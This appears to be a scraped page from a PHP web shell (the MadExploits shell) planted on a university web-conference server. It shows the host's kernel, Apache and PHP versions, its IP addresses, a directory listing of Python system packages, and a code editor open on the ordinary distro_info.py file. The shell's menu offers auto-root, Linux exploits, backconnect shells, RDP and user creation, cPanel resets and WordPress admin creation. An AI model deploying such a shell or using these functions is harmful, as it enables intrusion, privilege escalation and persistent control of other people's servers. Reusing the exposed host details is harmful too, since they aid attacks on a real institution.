Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.12.153.240
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
[ HOME SHELL ]
Name
Size
Permission
Action
Automat-0.8.0.egg-info
[ DIR ]
drwxr-xr-x
Click-7.0.egg-info
[ DIR ]
drwxr-xr-x
CommandNotFound
[ DIR ]
drwxr-xr-x
DistUpgrade
[ DIR ]
drwxr-xr-x
HweSupportStatus
[ DIR ]
drwxr-xr-x
Jinja2-2.10.1.egg-info
[ DIR ]
drwxr-xr-x
LanguageSelector
[ DIR ]
drwxr-xr-x
MarkupSafe-1.1.0.egg-info
[ DIR ]
drwxr-xr-x
OpenSSL
[ DIR ]
drwxr-xr-x
PyGObject-3.36.0.egg-info
[ DIR ]
drwxr-xr-x
PyHamcrest-1.9.0.egg-info
[ DIR ]
drwxr-xr-x
PyJWT-1.7.1.egg-info
[ DIR ]
drwxr-xr-x
PyNaCl-1.3.0.egg-info
[ DIR ]
drwxr-xr-x
SecretStorage-2.3.1.egg-info
[ DIR ]
drwxr-xr-x
Twisted-18.9.0.egg-info
[ DIR ]
drwxr-xr-x
UpdateManager
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
apport
[ DIR ]
drwxr-xr-x
apt
[ DIR ]
drwxr-xr-x
apt_inst-stubs
[ DIR ]
drwxr-xr-x
apt_pkg-stubs
[ DIR ]
drwxr-xr-x
aptsources
[ DIR ]
drwxr-xr-x
attr
[ DIR ]
drwxr-xr-x
attrs-19.3.0.egg-info
[ DIR ]
drwxr-xr-x
automat
[ DIR ]
drwxr-xr-x
blinker
[ DIR ]
drwxr-xr-x
certifi
[ DIR ]
drwxr-xr-x
certifi-2019.11.28.egg-info
[ DIR ]
drwxr-xr-x
chardet
[ DIR ]
drwxr-xr-x
chardet-3.0.4.egg-info
[ DIR ]
drwxr-xr-x
click
[ DIR ]
drwxr-xr-x
cloud_init-24.4.egg-info
[ DIR ]
drwxr-xr-x
cloudinit
[ DIR ]
drwxr-xr-x
colorama
[ DIR ]
drwxr-xr-x
colorama-0.4.3.egg-info
[ DIR ]
drwxr-xr-x
configobj-5.0.6.egg-info
[ DIR ]
drwxr-xr-x
constantly
[ DIR ]
drwxr-xr-x
constantly-15.1.0.egg-info
[ DIR ]
drwxr-xr-x
cryptography
[ DIR ]
drwxr-xr-x
cryptography-2.8.egg-info
[ DIR ]
drwxr-xr-x
dbus
[ DIR ]
drwxr-xr-x
dbus_python-1.2.16.egg-info
[ DIR ]
drwxr-xr-x
debian
[ DIR ]
drwxr-xr-x
debian_bundle
[ DIR ]
drwxr-xr-x
distro-1.4.0.egg-info
[ DIR ]
drwxr-xr-x
distro_info-0.23+ubuntu1.1.egg...
[ DIR ]
drwxr-xr-x
gi
[ DIR ]
drwxr-xr-x
hamcrest
[ DIR ]
drwxr-xr-x
httplib2
[ DIR ]
drwxr-xr-x
httplib2-0.14.0.egg-info
[ DIR ]
drwxr-xr-x
hyperlink
[ DIR ]
drwxr-xr-x
hyperlink-19.0.0.egg-info
[ DIR ]
drwxr-xr-x
idna
[ DIR ]
drwxr-xr-x
idna-2.8.egg-info
[ DIR ]
drwxr-xr-x
importlib_metadata
[ DIR ]
drwxr-xr-x
importlib_metadata-1.5.0.egg-i...
[ DIR ]
drwxr-xr-x
incremental
[ DIR ]
drwxr-xr-x
incremental-16.10.1.egg-info
[ DIR ]
drwxr-xr-x
janitor
[ DIR ]
drwxr-xr-x
jinja2
[ DIR ]
drwxr-xr-x
jsonpatch-1.22.egg-info
[ DIR ]
drwxr-xr-x
jsonpointer-2.0.egg-info
[ DIR ]
drwxr-xr-x
jsonschema
[ DIR ]
drwxr-xr-x
jsonschema-3.2.0.egg-info
[ DIR ]
drwxr-xr-x
jwt
[ DIR ]
drwxr-xr-x
keyring
[ DIR ]
drwxr-xr-x
keyring-18.0.1.egg-info
[ DIR ]
drwxr-xr-x
landscape
[ DIR ]
drwxr-xr-x
language_selector-0.1.egg-info
[ DIR ]
drwxr-xr-x
launchpadlib
[ DIR ]
drwxr-xr-x
launchpadlib-1.10.13.egg-info
[ DIR ]
drwxr-xr-x
lazr
[ DIR ]
drwxr-xr-x
lazr.restfulclient-0.14.2.egg-...
[ DIR ]
drwxr-xr-x
lazr.uri-1.0.3.egg-info
[ DIR ]
drwxr-xr-x
markupsafe
[ DIR ]
drwxr-xr-x
more_itertools
[ DIR ]
drwxr-xr-x
more_itertools-4.2.0.egg-info
[ DIR ]
drwxr-xr-x
nacl
[ DIR ]
drwxr-xr-x
netifaces-0.10.4.egg-info
[ DIR ]
drwxr-xr-x
oauthlib
[ DIR ]
drwxr-xr-x
oauthlib-3.1.0.egg-info
[ DIR ]
drwxr-xr-x
packaging
[ DIR ]
drwxr-xr-x
packaging-20.3.egg-info
[ DIR ]
drwxr-xr-x
pexpect
[ DIR ]
drwxr-xr-x
pkg_resources
[ DIR ]
drwxr-xr-x
ptyprocess
[ DIR ]
drwxr-xr-x
pyOpenSSL-19.0.0.egg-info
[ DIR ]
drwxr-xr-x
pyasn1
[ DIR ]
drwxr-xr-x
pyasn1-0.4.2.egg-info
[ DIR ]
drwxr-xr-x
pyasn1_modules
[ DIR ]
drwxr-xr-x
pygtkcompat
[ DIR ]
drwxr-xr-x
pymacaroons
[ DIR ]
drwxr-xr-x
pymacaroons-0.13.0.egg-info
[ DIR ]
drwxr-xr-x
pyparsing-2.4.6.egg-info
[ DIR ]
drwxr-xr-x
pyrsistent
[ DIR ]
drwxr-xr-x
pyrsistent-0.15.5.egg-info
[ DIR ]
drwxr-xr-x
pyserial-3.4.egg-info
[ DIR ]
drwxr-xr-x
python_apt-2.0.1+ubuntu0.20.4....
[ DIR ]
drwxr-xr-x
python_debian-0.1.36+ubuntu1.1...
[ DIR ]
drwxr-xr-x
requests
[ DIR ]
drwxr-xr-x
requests-2.22.0.egg-info
[ DIR ]
drwxr-xr-x
requests_unixsocket
[ DIR ]
drwxr-xr-x
requests_unixsocket-0.2.0.egg-...
[ DIR ]
drwxr-xr-x
secretstorage
[ DIR ]
drwxr-xr-x
serial
[ DIR ]
drwxr-xr-x
service_identity
[ DIR ]
drwxr-xr-x
service_identity-18.1.0.egg-in...
[ DIR ]
drwxr-xr-x
setuptools
[ DIR ]
drwxr-xr-x
setuptools-45.2.0.egg-info
[ DIR ]
drwxr-xr-x
simplejson
[ DIR ]
drwxr-xr-x
six-1.14.0.egg-info
[ DIR ]
drwxr-xr-x
softwareproperties
[ DIR ]
drwxr-xr-x
sos
[ DIR ]
drwxr-xr-x
sos-4.7.2.egg-info
[ DIR ]
drwxr-xr-x
ssh_import_id
[ DIR ]
drwxr-xr-x
ssh_import_id-5.10.egg-info
[ DIR ]
drwxr-xr-x
systemd
[ DIR ]
drwxr-xr-x
twisted
[ DIR ]
drwxr-xr-x
uaclient
[ DIR ]
drwxr-xr-x
ubuntu_pro_client-8001.egg-inf...
[ DIR ]
drwxr-xr-x
ufw
[ DIR ]
drwxr-xr-x
unattended_upgrades-0.1.egg-in...
[ DIR ]
drwxr-xr-x
urllib3
[ DIR ]
drwxr-xr-x
urllib3-1.25.8.egg-info
[ DIR ]
drwxr-xr-x
wadllib
[ DIR ]
drwxr-xr-x
wadllib-1.3.3.egg-info
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
zipp-1.0.0.egg-info
[ DIR ]
drwxr-xr-x
zope
[ DIR ]
drwxr-xr-x
zope.interface-4.7.1.egg-info
[ DIR ]
drwxr-xr-x
PyYAML-5.3.1.egg-info
1.74
KB
-rw-r--r--
_cffi_backend.cpython-38-x86_6...
181.92
KB
-rw-r--r--
_dbus_bindings.cpython-38-x86_...
168.16
KB
-rw-r--r--
_dbus_glib_bindings.cpython-38...
22.54
KB
-rw-r--r--
_pyrsistent_version.py
23
B
-rw-r--r--
_snack.cpython-38-x86_64-linux...
42.77
KB
-rw-r--r--
_version.py
21
B
-rw-r--r--
_yaml.cpython-38-x86_64-linux-...
276.73
KB
-rw-r--r--
apport_python_hook.py
7.87
KB
-rw-r--r--
apt_inst.cpython-38-x86_64-lin...
58.67
KB
-rw-r--r--
apt_pkg.cpython-38-x86_64-linu...
350.95
KB
-rw-r--r--
blinker-1.4.egg-info
3.81
KB
-rw-r--r--
command_not_found-0.3.egg-info
189
B
-rw-r--r--
configobj.py
87.51
KB
-rw-r--r--
deb822.py
273
B
-rw-r--r--
debconf.py
6.61
KB
-rw-r--r--
distro.py
42.24
KB
-rw-r--r--
distro_info.py
10.89
KB
-rw-r--r--
easy_install.py
126
B
-rw-r--r--
entrypoints.egg-info
226
B
-rw-r--r--
entrypoints.py
7.99
KB
-rw-r--r--
jsonpatch.py
24.51
KB
-rw-r--r--
jsonpointer.py
9.57
KB
-rw-r--r--
language_support_pkgs.py
9.7
KB
-rw-r--r--
lsb_release.py
14.55
KB
-rw-r--r--
netifaces.cpython-38-x86_64-li...
22.68
KB
-rw-r--r--
netifaces.cpython-38d-x86_64-l...
26.71
KB
-rw-r--r--
pexpect-4.6.0.egg-info
2.23
KB
-rw-r--r--
problem_report.py
26.24
KB
-rw-r--r--
pvectorc.cpython-38-x86_64-lin...
36.68
KB
-rw-r--r--
pyasn1_modules-0.2.1.egg-info
1.68
KB
-rw-r--r--
pyparsing.py
266.02
KB
-rw-r--r--
simplejson-3.16.0.egg-info
2.97
KB
-rw-r--r--
six.py
33.28
KB
-rw-r--r--
snack.py
30.4
KB
-rw-r--r--
systemd_python-234.egg-info
586
B
-rw-r--r--
ufw-0.36.egg-info
261
B
-rw-r--r--
validate.py
46.14
KB
-rw-r--r--
zipp.py
6.75
KB
-rw-r--r--
zope.interface-4.7.1-nspkg.pth
529
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : distro_info.py
# Copyright (C) 2009-2012, Benjamin Drung <bdrung@debian.org> # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. """provides information about Ubuntu's and Debian's distributions""" import csv import datetime import os def convert_date(string): """Convert a date string in ISO 8601 into a datetime object.""" if not string: date = None else: parts = [int(x) for x in string.split("-")] if len(parts) == 3: (year, month, day) = parts date = datetime.date(year, month, day) elif len(parts) == 2: (year, month) = parts if month == 12: date = datetime.date(year, month, 31) else: date = datetime.date(year, month + 1, 1) - datetime.timedelta(1) else: raise ValueError("Date not in ISO 8601 format.") return date def _get_data_dir(): """Get the data directory based on the module location.""" return "/usr/share/distro-info" class DistroDataOutdated(Exception): """Distribution data outdated.""" def __init__(self): super(DistroDataOutdated, self).__init__( "Distribution data outdated. " "Please check for an update for distro-info-data. See " "/usr/share/doc/distro-info-data/README.Debian for details.") class DistroRelease(object): """Represents a distributions release""" # pylint: disable=too-few-public-methods # pylint: disable=too-many-instance-attributes def __init__(self, version, codename, series, created=None, release=None, eol=None, eol_server=None, eol_esm=None): # pylint: disable=too-many-arguments self.version = version self.codename = codename self.series = series self.created = created self.release = release self.eol = eol self.eol_server = eol_server self.eol_esm = eol_esm def is_supported(self, date): """Check whether this release is supported on the given date.""" return date >= self.created and (self.eol is None or date <= self.eol or ( self.eol_server is not None and date <= self.eol_server)) def _get_date(row, column): return convert_date(row[column]) if column in row else None class DistroInfo(object): """Base class for distribution information. Use DebianDistroInfo or UbuntuDistroInfo instead of using this directly. """ def __init__(self, distro): self._distro = distro filename = os.path.join(_get_data_dir(), distro.lower() + ".csv") csvfile = open(filename) csv_reader = csv.DictReader(csvfile) self._releases = [] for row in csv_reader: release = DistroRelease(row['version'], row['codename'], row['series'], _get_date(row, 'created'), _get_date(row, 'release'), _get_date(row, 'eol'), _get_date(row, 'eol-server'), _get_date(row, 'eol-esm')) self._releases.append(release) csvfile.close() self._date = datetime.date.today() @property def all(self): """List codenames of all known distributions.""" return [x.series for x in self._releases] def get_all(self, result="codename"): """List all known distributions.""" return [self._format(result, x) for x in self._releases] def _avail(self, date): """Return all distributions that were available on the given date.""" return [x for x in self._releases if date >= x.created] def codename(self, release, date=None, default=None): """Map codename aliases to the codename they describe.""" # pylint: disable=no-self-use,unused-argument return release def version(self, name, default=None): """Map codename or series to version""" for release in self._releases: if name in (release.codename, release.series): return release.version return default def devel(self, date=None, result="codename"): """Get latest development distribution based on the given date.""" if date is None: date = self._date distros = [x for x in self._avail(date) if x.release is None or (date < x.release and (x.eol is None or date <= x.eol))] if not distros: raise DistroDataOutdated() return self._format(result, distros[-1]) def _format(self, format_string, release): """Format a given distribution entry.""" if format_string == "object": return release if format_string == "codename": return release.series if format_string == "fullname": return self._distro + " " + release.version + ' "' + release.codename + '"' if format_string == "release": return release.version raise ValueError("Only codename, fullname, object, and release are allowed " "result values, but not '" + format_string + "'.") def stable(self, date=None, result="codename"): """Get latest stable distribution based on the given date.""" if date is None: date = self._date distros = [x for x in self._avail(date) if x.release is not None and date >= x.release and (x.eol is None or date <= x.eol)] if not distros: raise DistroDataOutdated() return self._format(result, distros[-1]) def supported(self, date=None, result=None): """Get list of all supported distributions based on the given date.""" raise NotImplementedError() def valid(self, codename): """Check if the given codename is known.""" return codename in self.all def unsupported(self, date=None, result="codename"): """Get list of all unsupported distributions based on the given date.""" if date is None: date = self._date supported = self.supported(date) distros = [self._format(result, x) for x in self._avail(date) if x.series not in supported] return distros class DebianDistroInfo(DistroInfo): """provides information about Debian's distributions""" def __init__(self): super(DebianDistroInfo, self).__init__("Debian") def codename(self, release, date=None, default=None): """Map 'unstable', 'testing', etc. to their codenames.""" if release == "unstable": codename = self.devel(date) elif release == "testing": codename = self.testing(date) elif release == "stable": codename = self.stable(date) elif release == "oldstable": codename = self.old(date) else: codename = default return codename def devel(self, date=None, result="codename"): """Get latest development distribution based on the given date.""" if date is None: date = self._date distros = [x for x in self._avail(date) if x.release is None or (date < x.release and (x.eol is None or date <= x.eol))] if len(distros) < 2: raise DistroDataOutdated() return self._format(result, distros[-2]) def old(self, date=None, result="codename"): """Get old (stable) Debian distribution based on the given date.""" if date is None: date = self._date distros = [x for x in self._avail(date) if x.release is not None and date >= x.release] if len(distros) < 2: raise DistroDataOutdated() return self._format(result, distros[-2]) def supported(self, date=None, result="codename"): """Get list of all supported Debian distributions based on the given date.""" if date is None: date = self._date distros = [self._format(result, x) for x in self._avail(date) if x.eol is None or date <= x.eol] return distros def testing(self, date=None, result="codename"): """Get latest testing Debian distribution based on the given date.""" if date is None: date = self._date distros = [x for x in self._avail(date) if (x.release is None and x.version) or (x.release is not None and date < x.release and (x.eol is None or date <= x.eol))] if not distros: raise DistroDataOutdated() return self._format(result, distros[-1]) def valid(self, codename): """Check if the given codename is known.""" return (DistroInfo.valid(self, codename) or codename in ["unstable", "testing", "stable", "oldstable"]) class UbuntuDistroInfo(DistroInfo): """provides information about Ubuntu's distributions""" def __init__(self): super(UbuntuDistroInfo, self).__init__("Ubuntu") def lts(self, date=None, result="codename"): """Get latest long term support (LTS) Ubuntu distribution based on the given date.""" if date is None: date = self._date distros = [x for x in self._releases if x.version.find("LTS") >= 0 and x.release <= date <= x.eol] if not distros: raise DistroDataOutdated() return self._format(result, distros[-1]) def is_lts(self, codename): """Is codename an LTS release?""" distros = [x for x in self._releases if x.series == codename] if not distros: return False return "LTS" in distros[0].version def supported(self, date=None, result="codename"): """Get list of all supported Ubuntu distributions based on the given date.""" if date is None: date = self._date distros = [self._format(result, x) for x in self._avail(date) if date <= x.eol or (x.eol_server is not None and date <= x.eol_server)] return distros def supported_esm(self, date=None, result="codename"): """Get list of all ESM supported Ubuntu distributions based on the given date.""" if date is None: date = self._date distros = [self._format(result, x) for x in self._avail(date) if x.eol_esm is not None and date <= x.eol_esm] return distros
Close